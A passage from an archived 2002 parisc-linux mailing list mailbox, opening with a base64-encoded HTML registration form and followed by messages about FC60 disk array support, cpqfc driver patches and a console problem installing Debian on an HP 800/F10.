PSK4ysvgyqEiPrjKy+DKoTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAg
ICAgICAgICA8b3B0aW9uIHZhbHVlPSLH4LqjyqEiPsfguqPKoTwvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLE
/s/Eu9jX5dfU1s7H+CI+xP7PxLvY1+XX1NbOx/g8L29wdGlvbj4NCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0i1tjH7MrQIj7W
2MfsytA8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9w
dGlvbiB2YWx1ZT0iuv6xsSI+uv6xsTwvb3B0aW9uPg0KICAgICAgICAgICAg
ICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLQwr2uIj7Qwr2uPC9vcHRp
b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9
IsyozeUiPsyozeU8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAg
IDwvc2VsZWN0Pg0KICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAg
ICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0
cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMjUiPiAN
CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij61
57uwo7o8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+KjwvZm9udD48L2Rpdj4NCiAg
ICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAg
ICAgIDx0ZCB3aWR0aD0iMzQwIj4gDQogICAgICAgICAgICAgICAgICAgICAg
ICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGVsZXBob25lIiBtYXhsZW5n
dGg9IjIwIj4NCiAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAg
ICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+
IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTI1Ij4gDQog
ICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGFsaWduPSJyaWdodCI+tKvV
5qO6PGZvbnQgY29sb3I9IiNGRjAwMDAiPio8L2ZvbnQ+PC9kaXY+DQogICAg
ICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAg
ICA8dGQgd2lkdGg9IjM0MCI+IA0KICAgICAgICAgICAgICAgICAgICAgICAg
PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZheCIgbWF4bGVuZ3RoPSIyMCI+
DQogICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAg
ICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPiANCiAgICAg
ICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAg
ICAgICAgICAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPkVtYWlso7o8Zm9u
dCBjb2xvcj0iI0ZGMDAwMCI+KjwvZm9udD48L2Rpdj4NCiAgICAgICAgICAg
ICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3
aWR0aD0iMzQwIj4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQg
dHlwZT0idGV4dCIgbmFtZT0iZW1haWwiIG1heGxlbmd0aD0iMzAiPg0KICAg
ICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAg
IDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAg
ICAgICAgICAgICAgPHRkIHdpZHRoPSIxMjUiPiANCiAgICAgICAgICAgICAg
ICAgICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij65q8u+19y+rcDto7o8Zm9u
dCBjb2xvcj0iI0ZGMDAwMCI+KjwvZm9udD48L2Rpdj4NCiAgICAgICAgICAg
ICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3
aWR0aD0iMzQwIj4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQg
dHlwZT0idGV4dCIgbmFtZT0iY29tX21hbmFnZXIiIG1heGxlbmd0aD0iMjAi
Pg0KICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAg
ICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAg
ICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMjUiPiANCiAgICAgICAg
ICAgICAgICAgICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij6yv8PFuLrU8MjL
o7o8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+KjwvZm9udD48L2Rpdj4NCiAgICAg
ICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAg
IDx0ZCB3aWR0aD0iMzQwIj4gDQogICAgICAgICAgICAgICAgICAgICAgICA8
aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVwX21hbmFnZXIiIG1heGxlbmd0
aD0iMjAiPg0KICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAg
ICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4g
DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMjUiPiZuYnNw
OzwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzNDAi
IGFsaWduPSJsZWZ0Ij4mbmJzcDs8L3RkPg0KICAgICAgICAgICAgICAgICAg
ICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAg
ICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTI1IiBoZWlnaHQ9IjI3IiA+IA0K
ICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPrmr
y77A4LHwOjxmb250IGNvbG9yPSIjRkYwMDAwIj4qPC9mb250PjwvZGl2Pg0K
ICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAg
ICAgICAgPHRkIHdpZHRoPSIzNDAiIGFsaWduPSJsZWZ0IiBoZWlnaHQ9IjI3
IiA+IDxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBl
PSJyYWRpbyIgbmFtZT0iZHdsYiIgdmFsdWU9IkciIGNoZWNrZWQ+DQogICAg
ICAgICAgICAgICAgICAgICAgICC8xsvju/rA4CA8YnI+DQogICAgICAgICAg
ICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPC90cj4N
CiAgICAgICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAg
ICAgICA8dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAgICAgICAgICAgICAg
ICAgPGRpdiBhbGlnbj0icmlnaHQiPjwvZGl2Pg0KICAgICAgICAgICAgICAg
ICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRo
PSIzNDAiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgbmFt
ZT0iY29tX3R5cGUxIiBzaXplPSIxIj4NCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgPG9wdGlvbj7H69Gh1PHSu8/uPC9vcHRpb24+DQogICAgICAgICAg
ICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IrzGy+O7+rfWz/rJzCI+
ILzGy+O7+rfWz/rJzDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAg
ICAgICA8b3B0aW9uIHZhbHVlPSK0+sDtycwiPrT6wO3JzDwvb3B0aW9uPg0K
ICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLB48rb
ycwiPsHjytvJzDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAg
ICA8b3B0aW9uIHZhbHVlPSLU9ta1t9bP+snMIj7U9ta1t9bP+snMPC9vcHRp
b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9
IsX6t6LJzC+y1rSiyr3JzLOhIj7F+reiycwvsta0osq9ycyzoTwvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSK8
xsvju/ovweOyv7z+yfqy+snMIj68xsvju/ovweOyv7z+yfqy+snMPC9vcHRp
b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9
IsjtvP6/qreiycwvs/aw5snMIj7I7bz+v6q3osnML7P2sObJzDwvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLP
tc2zvK+zycnML834wue8r7PJycwiPs+1zbO8r7PJycwvzfjC57yvs8nJzDwv
b3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZh
bHVlPSLTyrXnL82o0bYvzajQxSI+08q15y/NqNG2L82o0MU8L29wdGlvbj4N
CiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ivMbL
47v6ucvOyi/XydGvuavLviI+vMbL47v6ucvOyi/XydGvuavLvjwvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJJ
U1AvSUNQIj5JU1AvSUNQPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAg
ICAgICAgIDxvcHRpb24gdmFsdWU9IrzGy+O7+sXg0bUvzqzQ3i+8vMr1tcjG
5Mv7vMbL47v6t/7O8SI+vMbL47v6xeDRtS/OrNDeL7y8yvW1yMbky/u8xsvj
u/q3/s7xPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxv
cHRpb24gdmFsdWU9Isbky/vP+srbycwiPsbky/vP+srbycw8L29wdGlvbj4N
CiAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0Pg0KICAgICAgICAg
ICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+
DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAg
ICAgICAgPHRkIHdpZHRoPSIxMjUiIGhlaWdodD0iMzIiPiZuYnNwOzwvdGQ+
DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzNDAiIGhlaWdo
dD0iMzIiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBl
PSJyYWRpbyIgbmFtZT0iZHdsYiIgdmFsdWU9Im9uIj4NCiAgICAgICAgICAg
ICAgICAgICAgICAgILfHvMbL47v6wOAgPC90ZD4NCiAgICAgICAgICAgICAg
ICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPiANCiAgICAg
ICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAg
ICAgICAgICAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPjwvZGl2Pg0KICAg
ICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAg
ICAgPHRkIHdpZHRoPSIzNDAiPiANCiAgICAgICAgICAgICAgICAgICAgICAg
IDxzZWxlY3QgbmFtZT0iY29tX3R5cGUyIiBzaXplPSIxIj4NCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgPG9wdGlvbj7H69Gh1PHSu8/uPC9vcHRpb24+
DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Ir3M
0/0vv8bR0C/Rp8r1L8Xg0bUiPr3M0/0vv8bR0C/Rp8r1L8Xg0bU8L29wdGlv
bj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0i
ur2/1S+6vczsL7q9uqMiPrq9v9Uvur3M7C+6vbqjPC9vcHRpb24+DQogICAg
ICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Ir2o1v4vuaSz
zCI+vajW/i+5pLPMPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAg
ICAgIDxvcHRpb24gdmFsdWU9Ir3wyNov0vjQ0LLGzvEiPiC98MjaL9L40NCy
xs7xPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRp
b24gdmFsdWU9Is2218ov1qTIry+3v7XYsvovsaPP1SI+zbbXyi/WpMivL7e/
tdiy+i+xo8/VPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAg
IDxvcHRpb24gdmFsdWU9Ir27zajUy8rkL7mrwrcvzPrCty+5q7myysLStSI+
vbvNqNTLyuQvuavCty/M+sK3L7mrubLKwtK1PC9vcHRpb24+DQogICAgICAg
ICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Isn6svrWxtTsIj7J
+rL61sbU7Dwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8
b3B0aW9uIHZhbHVlPSK41sz6L8qv080vtefBpi+7r7mkL8uuwPsiPrjWzPov
yq/TzS+158GmL7uvuaQvy67A+zwvb3B0aW9uPg0KICAgICAgICAgICAgICAg
ICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLJzNK1o6i0+sDtoaLF+reioaLB
48rbo6kvw7PS1yI+yczStaOotPrA7aGixfq3oqGiwePK26OpL8Oz0tc8L29w
dGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1
ZT0i1f64rrv6udgvyee74c3FzOUiPtX+uK67+rnYL8nnu+HNxczlPC9vcHRp
b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9
ItK9wcYvzsDJ+i/M5dP9Ij7SvcHGL87AyfovzOXT/Twvb3B0aW9uPg0KICAg
ICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLFqcHWxL7T
5i+/89K1Ij7FqcHWxL7T5i+/89K1PC9vcHRpb24+DQogICAgICAgICAgICAg
ICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IrP2sOYvueOypS+159OwtefK
0yI+s/aw5i+547KlL7Xn07C158rTPC9vcHRpb24+DQogICAgICAgICAgICAg
ICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IrfHvMbL47v6ucvOyi/XydGv
L9DFz6K3/s7xIj63x7zGy+O7+rnLzsov18nRry/Qxc+it/7O8Twvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSK5
q7nYL7njuOYvzsS7r9LVyvUiPrmrudgvueO45i/OxLuv0tXK9Twvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLC
w9POL7LN0vsvsfa53S/T6cDW0rUiPsLD084vss3S+y+x9rndL9PpwNbStTwv
b3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZh
bHVlPSK+/LbTL87kvq8vuauwsiI+vvy20y/O5L6vL7mrsLI8L29wdGlvbj4N
CiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ixuTL
+yI+xuTL+zwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9z
ZWxlY3Q+DQogICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAg
ICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPiAN
CiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSI+Jm5ic3A7
PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM0MCI+
Jm5ic3A7PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAg
ICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgICA8
dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGRp
diBhbGlnbj0icmlnaHQiPjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAg
IDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzNDAi
PiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1p
dCB2YWx1ZT0i16IgsuEiIGlkPXN1Ym1pdDIgbmFtZT1yZWcyIHN0eWxlPSJi
YWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjM4LDIzOCwyMzgpOyBjb2xvcjogcmdi
KDAsMCwwKTsgdGV4dC1hbGlnbjogY2VudGVyOyBib3JkZXI6IDFweCBkb3Vi
bGU7aGVpZ2h0OjE4cHgiIG9ubW91c2VvdmVyPSJ0aGlzLnN0eWxlLmNvbG9y
PScjMDg0MkIxJyIgb25tb3VzZW91dD0idGhpcy5zdHlsZS5jb2xvcj0nIzAw
MDAwMCciPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9
cmVTZXQgdmFsdWU9IsflILP9IiBpZD1yZVNldDIgbmFtZT1jbGVhcjIgc3R5
bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYigyMzgsMjM4LDIzOCk7IGNvbG9y
OiByZ2IoMCwwLDApOyB0ZXh0LWFsaWduOiBjZW50ZXI7IGJvcmRlcjogMXB4
IGRvdWJsZTtoZWlnaHQ6MThweCIgb25tb3VzZW92ZXI9InRoaXMuc3R5bGUu
Y29sb3I9JyMwODQyQjEnIiBvbm1vdXNlb3V0PSJ0aGlzLnN0eWxlLmNvbG9y
PScjMDAwMDAwJyI+DQogICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAg
ICAgICAgICAgICAgICAgICAgPC90cj4NCjwvdGFibGU+DQo8L0ZPUk0+DQoJ
PC90ZD4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgYWxpZ249cmlnaHQ+DQo8aW1n
IHNyYz1odHRwOi8vYWQuaGVybWVzLmNvbS5jbi9saW51eHdvcmxkL2ltYWdl
cy9MaW51eDRjb2xvci5qcGcgd2lkdGg9MzQyIGhlaWdodD05NSBib3JkZXI9
MD4NCgk8L3RkPg0KCTwvdHI+DQo8L3RhYmxlPg0KDQoJPC90ZD4NCgk8L3Ry
Pg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0yIGhlaWdodD00IGJnY29sb3I9IzAw
MDAwMD48L3RkPg0KCTwvdHI+DQo8L3RhYmxlPg0KDQoNCjwvYm9keT4NCjwv
aHRtbD4=

--= Multipart Boundary 0812022338--


From - Thu Nov 08 21:24:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-RISC Linux
Date: 12 Aug 2002 10:17:34 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <1029169054.637.12.camel@beavis>
References: <000b01c24214$d2c8f680$a52efea9@kpnqwest.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621612 12237 80.91.229.3 (22 Nov 2014 02:00:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?ISO-8859-1?Q?Ant=F3nio?= Ribeiro <antonio.ribeiro@kpnqwest.pt>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 12 10:17:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A6924829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 10:17:35 -0600 (MDT)
Original-Received: from localhost.localdomain (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 5BD722B0E2; Mon, 12 Aug 2002 10:17:34 -0600 (MDT)
In-Reply-To: <000b01c24214$d2c8f680$a52efea9@kpnqwest.com>
X-Mailer: Ximian Evolution 1.0.7 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15788

Antonio,

Probably unknown at this time.

I do have access to an FC60 and could try to hookup a system to it
later this week if no one else has tried it.

Thanks,

- Ryan



On Mon, 2002-08-12 at 09:27, Ant=F3nio Ribeiro wrote:
> Hello,
>=20
> I would like to know if the Linux version for HP PA-RISC servers suppors
> FC60 Disk arrays.
>=20
> Thanks in advance.
>=20
> Antonio




From - Thu Nov 08 21:24:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-RISC Linux + FC60
Date: Mon, 12 Aug 2002 10:41:57 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20020812164157.754614829@dsl2.external.hp.com>
References: <000b01c24214$d2c8f680$a52efea9@kpnqwest.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621612 12238 80.91.229.3 (22 Nov 2014 02:00:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	grundler@dsl2.external.hp.com
To: =?iso-8859-1?Q?Ant=F3nio_Ribeiro?= <antonio.ribeiro@kpnqwest.pt>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 12 10:41:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 754614829; Mon, 12 Aug 2002 10:41:57 -0600 (MDT)
In-Reply-To: Message from =?iso-8859-1?Q?Ant=F3nio_Ribeiro?= <antonio.ribeiro@kpnqwest.pt> 
   of "Mon, 12 Aug 2002 16:27:49 BST." <000b01c24214$d2c8f680$a52efea9@kpnqwest.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15789

=?iso-8859-1?Q?Ant=F3nio_Ribeiro?= wrote:
> I would like to know if the Linux version for HP PA-RISC servers suppors
> FC60 Disk arrays.

I've not tried the qlogic card/driver yet. Only the Agilent based HP cards.

Jes Sorensen posted a cpqfc patch for HP's 5100/5166 Agilent HBAs.
(ftp://ftp.parisc-linux.org/patches/cpqfc_jes.patch)
It seems to work with FC10.  If it's not in 2.4.19, I'll commit and
resubmit in the next couple of days.  And unless someone tells me
otherwise, I'm going to believe the comments in cpqfc which indicate
cpqfc only supports arbitrated loop and not a switched fabric.

cpqfc also does not (yet) support the HP's Agilent XL2 (2GB FC) HBA.
With newer PCI subsystem in place, another patch is required
(ftp://ftp.parisc-linux.org/patches/cpqfc-03.diff) to run on A500.
The NVRAM isn't found and the "GBIC" not recognized on A500.
The patch is not fully cooked yet.

If someone has extra funding, the right folks are interested in
porting the HPUX tachlite driver to linux (supports switched fabric).
Unfortunately, HP has chosen to not fund the port to date.
I'm under the impression the result can be published under GPL.

grant


From - Thu Nov 08 21:24:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Boniface <eric_boniface@non.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installation issue on 800/F10.
Date: Mon, 12 Aug 2002 18:49:32 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <3D57E71C.3080402@non.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621612 12241 80.91.229.3 (22 Nov 2014 02:00:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:12 +0000 (UTC)
To: Parisc mailing list parisc <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 12 10:49:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gremg1.net.external.hp.com (grenmg1.net.external.hp.com [155.208.254.57])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6CAC84829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 Aug 2002 10:49:30 -0600 (MDT)
Original-Received: from non.hp.com (dhcp-15-204-141-53.grenoble.hp.com [15.204.141.53])
	by gremg1.net.external.hp.com (Postfix) with ESMTP
	id 91409301; Mon, 12 Aug 2002 18:49:29 +0200 (METDST)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0rc2) Gecko/20020618 Netscape/7.0b1
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15790



Hi all,
well I try to install the latest Debian on my (very ? ) old HP9000 
800/F10, but I have the following message :

"Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org"

I am ok to switch whatever it wants, but I don't really see what I can 
switch.
For your information, I use a Wyse screen (a vt220 I think) plugged to 
the console port on a SCSI/Console/LAN card.

Any idea ?

Thanks in advance !
Rgds,
Eric.

-- 
Eric Boniface - Hewlett Packard / HPS-IT Infrastructure Team Grenoble 
Tel.(+33) 4 76 14 30 17 / Telnet : 779-3017
E-mail : eric_boniface@non.hp.com 
--- Want to know more about Linux on HP PARISC ? Take a look at http://www.parisc-linux.org







From - Thu Nov 08 21:24:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thomas Schmid" <Thomas.Schmid@ascom.ch>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Additional Network Cards for 712
Date: Mon, 12 Aug 2002 19:46:49 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <OFF5A919B5.02CBBDDB-ONC1256C13.0060CB62@hasler.ascom.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416621612 12243 80.91.229.3 (22 Nov 2014 02:00:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
